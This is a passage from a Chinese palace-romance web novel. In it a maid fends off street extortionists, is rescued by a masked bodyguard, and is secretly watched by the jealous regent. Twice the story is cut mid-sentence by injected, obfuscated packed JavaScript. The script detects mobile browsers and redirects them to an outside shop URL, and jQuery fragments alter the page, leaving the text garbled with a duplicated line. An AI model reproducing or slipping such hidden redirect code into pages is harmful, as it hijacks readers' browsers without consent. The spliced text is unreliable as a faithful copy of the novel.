小孩哥赶紧道:“我娘常说,打仗是当官的事,跟平民百姓不相干。南北百姓都是受害人,我们开门做生意,来的都是客,再说粮食多金贵啊,往吃食里擤鼻涕?那是要遭天谴的!” 他看起来小,实际已经十四了,战前常随父兄去北方行商,所以官话说的不错。 “我开玩笑的,你别介意。”时毓笑着摆手,夸道:“不过你小小年纪,生意经倒是一套一套的。” “我在这街上摆了四年摊了,再笨也学会了。”他谦虚了一句,利索地添柴烧锅,打量她一眼,随口问道:“听说近来王驾驻跸吴郡,大姐您是殿下身边的人吗?” 时毓指了指自己这一身行头:“你看我像吗?” 虽说摄政王驾入吴郡时,百姓夹道相迎,时毓也从未听过“朱雀盟”的名号,但她知道虞衡当年斩杀江南四族的手段何等酷烈,经过江雪融之事,她还知道了这个世道崇尚的道义,会让四大门阀麾下的死士以为旧主复仇为余生执念,不死不休。 为免遭池鱼之殃,也防着被歹人当作肥羊,她出门前特意褪下宫装,换上最初的粗布衣裙。 小孩哥笑道:“这身衣服不像大姐的,大姐这面向富贵雍容,且说得一口官话,应该是北方来的富家太太才是。便是眼下困顿也不必着急,不日肯定能翻身。” 时毓哈哈大笑:“小甜嘴,大姐谢你吉言了。不过,我再教你一招。” 恰在此时,锅里的水沸得翻了花,小孩哥忙从旁边河里舀了瓢水,仔仔细细洗净双手,掀开覆在竹筐上的竹篾,捻起包好的馄饨,小心翼翼往沸水里下,头也不抬地应着,“您赐教。” “你上过学吧,说话文绉绉的。” 小孩哥握着长柄勺子,慢悠悠搅着锅里的馄饨,防止粘底,闻言轻声道:“我倒巴望着能上学,可惜家里穷,没那个福分。小时候给隔壁有钱人家的少爷做书童,耳濡目染识了几个字罢了。大姐要教我什么?我最爱听南来北往的客人讲新鲜事,最乐意长见识了。” 说罢,他把勺子往锅沿一搁,满怀期待地看着时毓。 时毓将胳膊肘支在木桌上,抬眼望着天上悬着的一轮明月,一手撑着下巴,“以后把大姐成小姐姐,客人会更开心的。” “小姐姐……” 这时,几个凶神恶煞的男人晃悠到摊位前,小孩哥脸上的笑意瞬间敛了去,脸色一白,忙不迭换上一副谄媚的笑,扯着嗓子喊:“南哥,你们怎么来了,吃宵夜吗?您几位稍坐,我这锅馄饨出完,立马给你们下!” “别忙活了。”为首的壮汉膀大腰圆,伸手勾过一张竹凳,带着股子痞气,有意无意地往时毓身边一坐。他身后跟着的几个人见状,也纷纷凑过来,一屁股把时毓这桌挤得满满当当。 时毓刚缓和没一会儿的心情,登时又被这股子蛮横气搅得暴躁起来。可她孤身一人,势单力薄,纵有满心不爽,也只能按捺着没发作。 那壮汉抬手指着西边的几张桌子,斜睨着小孩哥,语气带着不加掩饰的质问:“什么时候添的这几张桌子?怎么没提前跟哥说一声?” 小孩哥正端着碗,把煮好的馄饨往里头盛,闻言手猛地一抖,滚沸的热水溅在虎口上,烫得他倒抽一口冷气,嘶嘶地吸着气。 换作时毓,怕是早把碗摔了,可他硬是咬着牙,稳稳把碗搁在灶台上,胡乱擦了擦灶台,才对着虎口吹了吹,陪着小心回话:“今儿刚加的!这不是王驾驻跸吴郡,不少来看热闹的人住附近,原先的桌子不够用,我才临时添了几张。” “啪!” 一声巨响,时毓右手边的男人突然狠狠拍在桌上,震得时毓刚擦好的筷子“哗啦”掉在地上。 “你小子胆子越来越肥了!连南哥都敢骗!”男人扯着嗓子吼,“这几张桌子少说添了俩月,这俩月你交保护费时,怎么一个字都不提?当哥几个眼瞎?” 小孩哥的脸唰地白透了,手指死死抠着灶台边缘,咬着唇一句话也不敢说。 这时摊位后面忽然爬出个人——没错,是爬,她用手掌撑着地面,腰部以下软塌塌的,显然是不能动弹。 “南哥,求您高抬贵手!”那妇人颤声道,“不是我们故意不报,这俩月我腰疼的老毛病又犯了,抓药花了不少钱,药方子还赊着账没结。要不也不会硬着头皮加这几张桌,实在是没办法啊!您看我们娘俩,一个废了,一个还是半大孩子,撑这么个小摊子,早就快顶不住了。我们原想着,等还上药铺的账,就把这几张桌撤了,绝不敢瞒您的……” 南哥打断他:“你们这些做小买卖的,就会偷奸耍滑,嘴里没一句实话!我也懒得跟你在这儿磨嘴皮子,按咱们之前约好的规矩来——一张桌子每月交三百文保护费,你这四张桌,俩月就是两千四百文,先把这钱补上,再交一倍的罚款,总共四千八百文!少一个子儿都不行!” 时毓左手边的男人立马帮腔,唾沫星子横飞:“赶紧拿钱!别磨磨蹭蹭的,不然今儿就把你这些锅碗瓢盆全砸了!” 小孩哥忽然抬起头对时毓道:“小姐姐,对不住了,今儿怕是没法给您端上这碗馄饨了。您先走吧,别在这儿受牵连。” 南哥一伙人闻声都朝时毓看来,目光放肆又猥琐。 时毓攥紧了拳,忍了又忍,终究还是没多说一个字,沉默着站起身。 他们倒也没拦,只是交换了个别有深意眼神。 可她刚走出没几步,就听见身后小孩哥的声音硬邦邦地撞过来:“我们没钱。” “砰——” 桌凳被掀翻的巨响紧跟着炸开,南哥一伙人的叫嚣谩骂声瞬间灌满整条街。 时毓回头就见一人伸手去抢小孩哥怀里的钱袋子,其余几人则对他们拳打脚踢,锅碗瓢盆被砸得乒乒乓乓响。 那对母子闷着头硬抗着拳脚,却愣是一声不吭。 周围摆摊的摊主看不下去,纷纷上前呵斥,南哥却抄起灶台上的汤勺,指着众人骂骂咧咧地恐吓,硬是把劝架的人都逼退了回去 砸摸着半个牛肉饼的影卫看到时毓双拳紧握,不仅暗自紧张:这位大姐,不会又要多管闲事吧? 段元庆那一个她能对付得了,这几个流氓,她绝不是对手……得想办法保证她不吃亏,同时还不让她发现。 好在看热闹的人不少,躲在人群后面用暗器应该就可以。 时毓何尝不知道自己打不过,可她偏要管这闲事——与其说是为了替这娘俩打抱不平,不如说是为了发泄对自己处处无能的愤怒。 她跑起来,一脚狠狠踹在南哥后腰上。 南哥猝不及防,整个人撞向灶台,撞翻了滚着沸水的锅。滚烫的汤水兜头浇在他身上,疼得他发出杀猪般的惨叫。 他那几个喽啰先是愣了一瞬,随即骂骂咧咧地抄起板凳腿,一窝蜂朝时毓扑了过来。 “动手!”影卫甲掏出飞镖。 “等等!”影卫乙拦住他。 与此同时,一声娇斥横空响起:“这么多男人欺负一个女人,真不要脸!” 时毓扭头望去,却见发声的是一个梳着双丫髻的小女孩,手里还攥着支糖人,瞧着比卖馄饨的少年还要小上几岁。 不过她身后站着一个穿着朴素,身形高大,脸上覆着一张兽首纹傩面的男人,男人手中斜握着一支紫竹箫,气场冷冽。 南哥的喽啰们狞笑:“哟,今天多管闲事的小丫头还真不少,长得还都不赖,正好收拾完这娘俩,带你们俩找个地方乐呵乐呵!” “嘴巴给我放干净点!”小女孩叉着腰,脾气炸得像小炮仗,扭头冲身后的男人喊,“阿哲,打死他!” 那男子似无奈地低笑一声,语气却温柔得很:“小姐,打死人是要吃官司的。不过……” 话音未落,他人影一闪,手中紫竹箫扬手便敲在最前头那无赖的后颈上。那无赖连哼都没哼一声,直挺挺栽倒在地。“教训教训他们,还是可以的。” 他的身影如鬼魅般在一众无赖间穿梭,竹箫挥动的残影都快要看不清。 时毓甚至没来得及看清他的动作,不过眨眼功夫,南哥的几个手下就全捂着胳膊腿趴在地上,鬼哭狼嚎地哀嚎起来。 两个影卫都暗自感叹:好身手! “你没事儿吧?”小姑娘踩这那几个人的手,信步来到时毓面前,笑着问道:“刚才看你跳起来那一下不像练家子,没扭着脚吧?” 时毓摇摇头,不好意思地说:“没事儿没事儿,多谢啊!” 小姑娘舔了口糖人,不客气地笑话她:“你又不会武功,干嘛逞能?这些人可都是这地界的地头蛇,和官府勾连着,万一吃亏了,都没地说理去!” 被小孩说到脸上,时毓顿时感到脸烧的慌,她没法解释自己不过是憋着股气想找个由头发泄,只能硬着头皮道:“没办法,我这人就是见不得以多欺少、以强凌弱!” 小姑娘挑了挑眉,小脸上满是赞许:“倒还有几分侠义心肠,不错不错,合我脾气。” 听她这副小大人的口吻,时毓憋不住想笑。 这时小孩哥走过来,朝他们深深一揖,郑重道:“多谢诸位出手相助,可惜小人家贫,没什么能报答的,若诸位不嫌弃,容小人给你们下一碗热馄饨,略表心意。” 时毓尚未发话,南哥便叫嚷道:“你们别以为这是帮了他们!你们只顾自己形象仗义,可想过你们走了,他们母子以后想在这条街,不,想在整个吴郡摆摊 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南哥一伙人哪还敢耽搁,也不敢小气,忙不迭把身上的碎银铜钱全掏出来搁在地上,一边陪着笑说“请陈小姐高抬贵手”,一边连滚带爬地落荒而逃。 那娘俩对陈鹤千恩万谢,陈鹤吃着糖人哼道:“别谢我,我可不是为了帮你们,你们违约在先,受点教训本就该当。我只是怕这位姐姐吃亏,才让阿哲出手的!” 那娘俩转头又对时毓道谢,非要请她们吃馄饨。 时毓看着满地狼藉,也没有心思吃了,与阿哲一道,帮着小孩哥回收了些尚能用的桌椅,便离开了这里。 “姐姐住哪儿?我和阿哲送你回家吧。”陈鹤吃完糖人,又摸出一包糖豆揣在手里,边走边往嘴里丢。 时毓摆了摆手:“我就住附近,不用麻烦的。倒是你,吃这么多糖,就不怕牙疼?” “那可不行!”陈鹤皱着小眉头,“万一那南哥留了后手,偷偷跟着你怎么办?” 说完,她小脸一瘪,显然想起了牙疼的滋味,委屈道:“怕是怕,可就是忍不住想吃嘛。” 时毓忍不住笑了:“那也得悠着点吃,回头真疼起来,哭都来不及。实在忍不住,就少拿几颗,慢慢含着,能甜久一点呢。” 陈鹤还是坚持要送,时毓不想让他们知道自己住在行宫,便带着两人绕向行宫后方。 结果在绕路途中,陈鹤一会儿玩这个,一会儿玩那个,耽误了不少功夫,还买了一堆东西,好吃的好玩的,都要分给时毓。时毓哪里好意思要,只得尽心尽力地哄她开心。 陈鹤越发喜欢她,听说她在一个大户人家当奴婢,便极力追问是谁家,要让她爹去把时毓挖到自己家。 时毓居然真的心动了。 给这小孩当保姆,不比在虞珩身边自在多了? 压力又小,还不用整日提心吊胆担心丢了性命。 可惜就在这时,陈家的家仆带着轿子来寻她归家,陈鹤恋恋不舍地告别了时毓,吩咐阿哲送她回家。 临走前还从轿中探出脑袋:“你想好了便到陈家来找我,只要我爹出面,一定能把你要来!” 时毓认真点了点头:“好的,我会认真考虑的。两日之内定给你答复!” 送走陈鹤,她才发现自己实在走不动了,于是对阿哲道:“我们歇会儿再走行吗?” 阿哲寡言温和,自不会不依。 两人在一座拱桥上坐下来,桥下流水潺潺,细碎的波纹将两岸疏落的灯火揉成星子,晃悠悠浮在水面上。 时毓既动了另谋出路的心思,便顺势打听起陈家的情形。 阿哲语速平缓,言辞却极有条理,温润的嗓音伴着晚风中的花香,教人如沐春风。 时毓忍不住开起玩笑:“咱们也算共患难过了,说不定往后还能做同事,你总戴着这面具,未免也太不够意思了吧?” 阿哲闻言微颔首,“时姑娘说得是。” 说罢就要伸手摘面具。 时时毓忙按住他的手腕:“我玩笑的,你别当真。戴面具是你的自由,我方才就是想,这么好的春风吹着真舒服啊,你带着面具感受不到太可惜了。” 阿哲的目光落在她覆在自己腕上的手上,眸光微动。 时毓慌忙松开,“抱歉抱歉,情急之下……” 阿哲摇摇头道:“在下平日不戴面具,方才路过面具摊,小姐偶然兴起,命我戴着不许摘,几个时辰下来,在下自己都忘了还戴着面具。” 说罢便解了下来。 此处已不在闹市,拱桥两边灯笼遥远,月色晦暗,即便近在咫尺,也看不太清。 但这一刻,时毓眼前粲然生光,耳边嗡鸣骤起—,大脑嗡的一声。 这是一张兼具少年清隽与男子棱角的脸,颧骨线条流畅地收束至下颌,勾勒出清瘦却不失力量感的轮廓。 冷白如玉的肌肤上,两道眉如浸了浓墨的玉刃,斜斜飞入鬓角,眉峰处微微上扬,添了几分英气。眉下是双标准的凤眼,眼尾自然上挑却不张扬,眼瞳是极浅的琥珀色,在跳动的火光里泛着琉璃般的柔光;长睫浓密纤长,在眼下投出细碎的阴影;鼻梁生得极正,从山根到鼻尖流畅峻挺,唇瓣薄薄的,色泽是鲜嫩的樱粉,形状饱满得透着几分诱人的软意,可唇角却微微向下抿着,带出几分拒人于千里之外的冷傲。 他嘴巴一张一合,似乎在说着什么,可时毓的听觉仿佛被视觉剥夺了,整个人溺毙在绝世容颜的冲击中,脑中一片空白。 片刻后,她迅速站起来,慌不择路地往前跑。 “时姑娘!”阿哲追上来,拉住她的胳膊,担忧地问:“怎么了?” 时毓没有回头,匆匆说道:“没事儿,我只是觉得,我得赶紧走,再不走,咱俩之间肯定要发生点什么。” 阿哲没说话。 时毓能感到他扣着自己胳膊的手指在轻轻发颤,应是在闷声发笑。 29. 第 29 章 时毓不是在开玩笑。 她是真的起了防备之心。 一个拥有如此容貌和如此身手的男人,会是没有主线剧情的路人甲吗?老天爷这位编剧不会同意的。 这样的天之骄子就不该屈居此地,给一个小姑娘当保镖! 她都怀疑,今晚遇到他们根本不是偶然。 “好吧。那姑娘在前面走,我在后面暗中保护姑娘,直到你平安到家。”阿哲说着,又把面具戴了回去。 这个体贴的举动稍稍消解了时毓的防备。 另一方面,以他的身手,倘若真有歹意,她根本防范不了。 于是原打算回绝的话咽了回去,她点了点头,抬脚便朝着行宫的方向走去。 他似乎是在极力回避自己的存在带给她的困扰,两人一前一后,距离隔得很远,若非时毓偶尔回头瞥上一眼,几乎察觉不到他的存在。 许是相隔得过分远了,周遭人潮一涌,便极易将彼此冲散。 当时毓拐进一条巷口,耳畔陡然多了几道陌生的脚步声。 她心头一凛,猛地回头,惊见阿哲已然没了踪影,取而代之的,是南哥那几个鼻青脸肿的手下,正凶神恶煞地围上来。 “站住!”时毓大喝一声,故作镇定地呵斥他们:“你们想干什么?” “不干什么,哥几个因为你伤成这样,找你讨点医药费不过分吧?” “要多少?” “这可不好说,你跟我们去医馆走一趟,问问大夫就知道了。” 听到这句话时毓就知道,钱解决不了问题,他们是要她这个人。 她当即冷笑:“看来你们不长教训啊。动动你们的猪脑子想想,平日里你们吴郡有说官话的女人吗?这几日王驾驻跸吴郡,连那个卖馄饨的小孩都能猜到我是殿下的人,你们不会想不到,三番两次针对我,该不会是逆贼吧?” “胡说八道!”流氓们面色微变,脚步纷纷顿住。 时毓趁热打铁道:“漕帮千金只让你们赔了点钱就放过你们,我可没那么善良。你们谁敢再往前一步,哪怕碰我一下,殿下定会让人剁了他的胳膊!” “哈!”最前面那个流氓忽然笑了:“你就吹吧!漕帮千金带着护卫,你有什么?再看你穿的这穷酸样,也敢碰瓷摄政王,真是笑死人!” 时毓嗤笑:“瞧你这个没见过世面的蠢样子!护卫非得在明吗?你怎知我平日穿什么?你这种没读过书的莽汉,一定没听过‘寂寞宫廷春欲晚,梨花满地不开门’,深宫之中自由才是可望而不可求的,我能出来玩,就是深受摄政王宠爱的证据。” 她抱起双臂,昂首道:“没错,我就是千岁殿下最心爱的女人!倘若我受到伤害,别说你们,你们的九族都得一起见阎王!我数三声,不想死的,立刻滚!” “成哥,她说真的假的?” 地痞们似乎被她镇住了,一时方寸大乱,纷纷围住最前面的那个,七嘴八舌地追问。 “一!” 时毓已经开始报数。 巷尾,刚刚到此的虞珩,拦住了欲出手的陆长风,回味着时毓方才那段话——原来她不是不知道自己受了多少恩宠!她沉得住气就是因为恃宠而骄! 倘若孤收回这些,你待如何自保? “二!” 时毓数到第二个数,面上依旧是居高临下的睥睨,心底却早已慌作一团。倘若最终骗不过他们,她就只能撒丫子逃跑了。 于是在准备喊三的时候,她也悄悄调整站姿,做跑步的准备。只要鞋子别太拖后腿,以她跑马的丰富经历,还是有机会成功逃脱的! “s-a-n—” “噗!” 一声锐器破肉的闷响,抢在时毓的“三”字之前炸开。 巷子里光线昏沉,时毓看不清发生了什么,只瞧见最前头的地痞骤然抱住大腿惨叫:“日他娘!有暗器!她真有暗卫!兄弟们快撤!” 话音未落,地痞们已做鸟兽散。 话音未落,一众地痞早已作鸟兽散,眨眼间便没了踪影。 “暗卫怎会擅自出手?”陆长风闻声探了探脑袋,没有看到他家殿下那只不受主人控制,擅自拔下银簪掷出,又快速缩回的手,只看到巷口奔来的男人。 那人身形挺拔,面上覆着兽纹傩面,疾步走向时毓,语气十分关切:“受伤没?” 陆长风下意识以为是他出的手。他出现的时机如此恰好,想来应该不是碰巧,而是此前便一直与时毓在一起,观他对时毓的态度,两人应该关系匪浅。 他是谁,与时毓究竟是什么关系,殿下是否清楚呢? 陆长风一边暗暗揣度,一边偷偷打量霁王。 虞衡眸色沉沉地看着那个人。 这就是影卫密报中,那个‘英雄救美’,后与时毓并肩逛遍夜市,又在拱桥上并肩‘吟风弄月’的男人。 时毓与此人是今日初识,还是旧日故交?此人是从晋陵便尾随銮驾,还是早早在此等着时毓的到来?他们究竟在下怎样一盘棋? 他抬手按住腰间剑柄,在阴影里静静注视着巷中相对而立的两人。月光将傩面照得如同恶鬼,但时毓脸上却不再惊惶。她在这个男人身边倒是很有安全感。 陆长风察觉到虞珩周身的戾气愈发沉凝,心头咯噔一下,总算后知后觉反应过来:殿下今夜出宫哪里是散心,分明是憋着气来捉奸的! 怪不得一早一晚对时毓的态度来了个大转变,怕是中途得知了她有这么一个相好! 念及此,他对自己今天冒冒失邀请时毓作赋,越发后悔,他屏住呼吸,竭力往墙后缩了缩,恨不能将整个身子嵌进砖墙里去,只盼自己不要见证殿下被绿的场面——他不想被灭口啊!! 那厢时毓见阿哲出现,如同见到救世主,眼泪差点迸出来。 她双膝发软,扶墙缓了一会儿,才抱着拳道谢:“短短一夜间,已是第二次承蒙相救。大恩不言谢,这份情义我记在心里了。” “愧不敢当。”阿哲摇摇头,带着歉意道:“小姐命在下护送姑娘回府,是在下失职,竟又让姑娘陷入这般险境。” 时毓平复着狂乱的心跳,摆摆手道:“这哪能怪你,都怪我说的那些话,让你不自在,才离得那么远。” 就为她那个毫无根据的揣度,阿哲此刻还保持着绅士距离,离她足有两步远。 想到他方才跟丢了自己,急得到处找,时毓越发不好意思:“真抱歉,要是我没有绕路,你早就完成任务回家休息了,现在拖这个点儿还又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801900|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折腾了一番,白白浪费了一个暗器,真是对不起啊。回头有机会,我请你吃饭,正式赔礼道歉!” 作为打工人,她也常被领导安排带新人,并被猪队友拖累到周末还得加班,因此非常能理解阿哲此时的感受。 阿哲没再争辩,只道:“是很晚了,姑娘还是快些回府吧。” “嗯!”时毓忙点点头道:“好。” 她往前走了几步,还没听到阿哲的脚步声,便回首道:“没事儿,你离近些便是,免得再跟丢了。” 阿哲从善如流地跟上来,始终落在时毓身后一臂的距离,不远不近,分寸恰好。 时毓自顾往前走了几步,忽觉这般距离,倒像是她带着个跟班似的,心里有些过意不去,便又停住脚步,回头提议:“这样走总觉得对你太不尊重了,要不咱们并肩走吧?” 阿哲默了片刻,顺从地移到了她的左侧。 阴影里,虞珩看到时毓一次次主动邀请那男人靠近,心中的烈火简直要将他焚灭。 他没有立即出手掐死时毓,只是因为尚在怀疑那个男人的身份和目的。 当然他是这样告诉自己的,但如果说出来,一定没人相信。 倘若陆长风知道他此刻的想法,一定难掩惊惶:这还是吾那英明神武的主上吗?深夜私会离捉奸在床只差一步,便是换作寻常百姓,也该当即冲上去揪着那男人的衣领挥拳相向,再扭送官府讨个公道!殿下你在犹豫什么?莫不是色令智昏了?! 若是顾昭在,则会主动请缨:殿下,请把此奸夫□□交给臣,臣保证半个时辰之内,必查清楚他们的过往,叫他们死得心服口服! 如果王禄在此,则会过度揣测虞珩的心思,脑补虞珩爱时毓爱到头上发绿也要咬牙隐忍的地步,为了全了他的面子,极力粉饰他的隐忍:此人伺机接近时姑娘定是没安好心,可怜时姑娘单纯——不单奴才瞧着是这样,宫里但凡与她打过交道的内侍,皆是这般想法,定是被这歹人哄骗了!殿下可得为时姑娘做主啊! “那个……阿哲啊……”时毓看向身旁的男人,有些尴尬地开了口:“方才我对那些地痞流氓说的话,你都听到了吧?” “嗯,方才遍寻你不着,幸亏你喊话的声音够大,在下才及时找过来。” 什么,我吹牛逼的声音有那么大么?时毓尴尬地脚趾扣地。 她以为阿哲会问什么,但他并没有。 过了一会儿,时毓主动解释道:“其实那是我吹牛的啦,我根本不是什么宠妃,只是摄政王身边一个微不足道的存在。” 阿哲淡淡嗯了一声。 “对不起啊,没有及时告诉你和陈鹤,我住在行宫。我不是故意你隐瞒的,只是……我怕我说出自己的来历,你们就不想和我打交道了,毕竟不是人人都想攀附王权,我知道有些人对那个地方只有敬畏,避之不及。而我也挺怕结交陌生人的,因为一些不方便说的原因,殿下本来就在怀疑我,我在他身边,一直过得胆战心惊。倘若结交了什么不该结交的人,只怕更难打消他的怀疑了。” “没关系。说与不说,也是你的自由。”阿哲道,“不过,这便是你想离开他的原因吗?” 听到这话,远远缀在后面的虞珩脚步一顿,双拳骤然攥紧。 30. 第 30 章 与此同时,远处的屋脊之上,如鬼魅般悄然尾随的朱雀盟成员,也齐齐止住了动作。 一个黑影低声询问身旁的人:“叶先生,那便是霁王虞珩,他身边只带了一个人,我没看错吧?” “没有。” “那您还在犹豫什么?为什么不下令?这次我们足有三十人,宰杀他易如反掌!” “不到时候。” * “我没有真的想离开啦!”时毓摆摆手,苦笑道:“只不过我这个人,习惯给自己上份保险。” “保险?” “怎么说呢,就是一种转移风险、补偿损失的备用计划吧。” “你的意思是,如果在摄政王身边实在待不下去了,就去陈家。” “没错!”时毓在工作中养成了恭维的习惯,随口便夸道:“你悟性好高啊,怪不得武艺那么高强!话说回来,你长得俊,武艺高强,情商又高,简直没有短板,完美地不可思议哎!” 饶是阿哲如此淡然的人,都被她夸得不好意思了。好在,傩面将他的神色遮得严严实实。 “这世上,恐怕只有蔺大家那么完美的人才能配得上你。”时毓忍不住感慨。 “蔺大家?” “对,就是那位江南第一美人。她不仅长得像天仙,弹琴弹得好,而且情商也特别高。我们殿下那么冷艳高贵的人,一晚上就被她拿下了呢。” 说到这里,时毓苦笑着自嘲:“不瞒你说,本来我是有那么一点点希望,成为摄政王新宠的,可惜……” “因为她?” “嗯,怎么说呢……”时毓撇撇嘴:“确实,她一来就占了殿下所有心思,我承认我嫉妒她,嫉妒到不敢看她的脸,听到她的琴声都焦虑得要死,但我也很清楚,殿下不喜欢我,跟她无关,归根结底是因为我不够好。” “姑娘不必妄自菲薄。” “哈哈,我才不会呢!我这人自大的要命,要不是被打击的实在没自信了,绝对不会承认我不行。不过——” 时毓停下脚步,认真看着面具后面那双深邃的眼睛,郑重道:“还是谢谢你的安慰,还有,谢谢你愿意听我倾诉。这些话再不说出来,我就要爆炸了!” 阿哲摇摇头,眼中似有困惑:“可是姑娘方才说,深宫之中,自由最可贵。若他不宠你,你怎能出来游玩?在下曾任职过的豪门大户,都是不允许家仆随意出门的,便是千金小姐,也难有这般自在。如漕帮陈帮主这般纵容女儿的,是万里挑一的极少数。” “害!”时毓摆摆手:“这都是骗人的话术,不可当真。其实我能这般随意出来,说到底还是因着如今不上不下的尴尬身份。殿下既没给我任何名分,也没赐我正式的身份,我不归任何司署管,也没个具体差事,在这南巡队伍里,不过是个可有可无的边缘人,根本没人在意我的来去。” 陆长风听得瞠目结舌:大姐你在说什么呢?倘若行宫的守卫果真如此渎职,不光他们脑袋要搬家,翊卫首领顾昭也得官降三级! 阿哲则深信不疑,点点头道:“原来如此。” 时毓强调道:“是的,就是这样!如若不然,你说我出来能连个保镖都不带吗?漕帮千金都有你这样的高手做护卫,身为摄政王爱宠,至少应该配置两个你这样的高手才合理吧?” 其实当她听到那地痞喊‘她真有暗卫’时,心里短暂涌起过巨大惊喜——难道那狗虞珩其实是在乎我的? 所以看到阿哲跑来,她心头漫过淡淡失望。 阿哲再次点头:“理当如此。” 时毓耸肩摊手:“所以你理解我为什么不坦白身份来历了吧?这层虚假的光环,根本不足为依仗,图惹是非而已。” “自然。”阿哲从善如流,看她的眼神里带上了一丝悲悯:“看来姑娘在那人人向往的地方,过得很不快乐。” 时毓幽幽一叹,一脚踢飞了路上的石子,抬首望向天空那轮,照耀着过去与未来的明月,怅然道:“对我来说,快乐太奢侈了,活着,有尊严的活着,才是当下最重要的。” 阿哲静静地看着她,若有所思。 虞衡则随她一起看向空中那轮皓月。 深蓝天幕上碎星零落,流云如缕,绕着清辉满溢的圆月缓缓游移,那片皎洁的月盘里,竟恍惚浮现出这段时日的一幕幕: 她双臂举过头顶大喊‘我爱你’时,奔放炽热的样子; 勾引他时双眸春水潋滟、欲语还休的样子; 夜里装作睡熟,翻身滚到他怀里,偷偷摸他腰腹,狡黠又得意的样子; 细细说着船舱里颜色与布局更改的缘由,温柔关切的样子; 还有进献睡衣时神采飞扬的样子…… 这些瞬间都曾带给他,久违的,陌生的,回味无穷的快乐。 一片乌云掠过,月盘里的鲜活光景倏然与她此刻的身影重叠,化作她跪于他脚边兢兢战战的模样,化作她扎破十指讨好内侍的模样,化作她被破洞裤子吓得脸色惨白的模样,化作她为求自保坐地撒泼的模样。 原来,她确实不快乐。 她不甘心,只做个任他予求予夺的宠物。 虞珩曾笃定,他将时毓从徐府那火坑里救出,允她近身伺候,予她旁人难及的殊宠,甚至容她伴身侧共枕席,她理当对他满心感念,爱意愈发浓烈,从此以他为天,为博他欢心,心甘情愿倾尽所有。 即便她是条养不熟的白眼狼,不知感恩为何物,只要她当真如从前所言那般爱他,那么只要能留在他身边,能得他几分垂顾,便该心满意足、欢喜不尽才是。 没想到她竟是满腹怨言,还要说给别的男人听! 按道理,他该怒不可遏,可此刻,他更介怀的却是‘她不快乐’这件事。 他不知道自己为什么介意,大约是厌恶她明明不快乐,却装作另外一个样子面对他。对,他厌恶她的虚伪,厌恶她的表里不一。厌恶怎么都看不清她真实想法的自己。厌恶总想知道她口中的爱,到底有几分真的自己。 陆长风则看着时毓怅然的背影暗叹:这女人对自己处境的判断,与事实竟相差如此之远。究竟是当局者迷,还是有人刻意织就了这层迷雾,让她深陷而不自知? “不说这些消极的话了,人还是要往前看,才能走得远。”时毓勉力扯出一抹笑,重新拾起脚步。 阿哲配合她的脚步,不紧不慢地走着,“方才姑娘对我家小姐说,两日之内便会给她答复,是否这两日会发生什么事,令你下定决心去留?” 时毓道:“倒也不是,是我不想再这么拖下去了,我怕……” 或许是不想自己吓唬自己,她没有把话说透,转而道:“我想最后努力一次,如果还是不能重获殿下的喜爱,就认输,彻底放弃。” 说到这里,她脚步一顿,愁眉苦脸道:“老实说,虽然你家小姐给了我一个非常诱人的岗位,但我还是更想留在我们殿下身边。” 阿哲问:“为何?你在他身边胆战心惊不快乐,不是吗?” 虞珩只觉似有一根无形的线,随着时毓的话音从她口中飘出,悠悠向后缠来,径直探入他的胸腔,紧紧缠住了他的心脏。 满腔翻涌的怒焰、烦躁与怀疑,皆被这根线勒得尽数泄了出去,心腔里只剩一片空空茫茫。 刹那间,地上的虫鸣、河里的水声,乃至身侧陆长风轻浅的呼吸,都成了刺耳的聒噪,影响他听清,那个急于想知道的答案。 他很想再靠近一些,又怕一旦现身,便听不到真话。 “因为你家小姐现在还太小,离掌家还有很长一段距离。现在,她要受制于父亲,将来,她可能会受制于丈夫,我的命运,实际还是掌握在男人手中,到头来只怕还是难逃沦为玩物,或是被随意嫁掉的下场。既然横竖都要依附于男人,这普天之下,又有哪个男人,比得上摄政王?” 陆长风眼睁睁瞧着,他家殿下方才还攥得死紧的拳头缓缓松开,周身翻涌的杀气如潮水般退去,连先前抿得紧绷的唇角,也慢慢归了原位…… 他头一回发觉,原来殿下竟是这般好哄。 也难怪前些时日,宫里的内侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁!”他低喝。 “我最后警告你,盟主未下令,不得擅自行动。若有违反,下次射中的便是你的脑袋!” 那人生生握碎了一片瓦,鲜血滴滴答答,“叶先生!我实在不明白,现下虞珩狗贼离我们只有几丈远,身边只有一个人,如此千载难逢的机会为何要白白放过!” “方才那女人不是说了,护卫不一定在明。虞贼狡猾,焉知这不是以身为饵。何况盟主就在前方,若时机正好,他定比你更不想放过。” “哎!”那人一气之下跳下屋脊,扬长而去。 * 陆长风眼见时毓和那个男人越走越远,而殿下被一片阴影笼罩,看不清表情,只觉得胆战心惊,大气儿也不敢喘。 “陆长风!” 偏在这时,殿下点了他的名字。 他赶紧上前躬身应道:“臣在。” “戏看够了吧?” 陆长风浑身一绷,“殿……殿……臣……臣……” 虞珩把手重重搭在他肩上,带着蓬勃的杀伐之气吩咐:“叫人来把那狗娘养的抓起来严刑拷问!来历目的务必问个清楚,还有那该死的面具下的脸,八成是贴了什么人皮面具,叫他们好生扒一扒!” 陆长风瞬间来了精神,这才是他认识的杀伐果决的殿下!早该如此,这才像个爷们! 他刚要转身传令给暗卫,又听殿下吩咐:“抓人时先把那蠢女人引开,别叫她看到。” 陆长风心里默默为自家痴情的殿下掬了一把泪,躬身领命退下。 不过片刻,原本空寂的巷子里突然涌来一队披麻戴孝的人,抬着棺材哭嚎着冲过来,瞬间便将时毓与阿哲冲散。 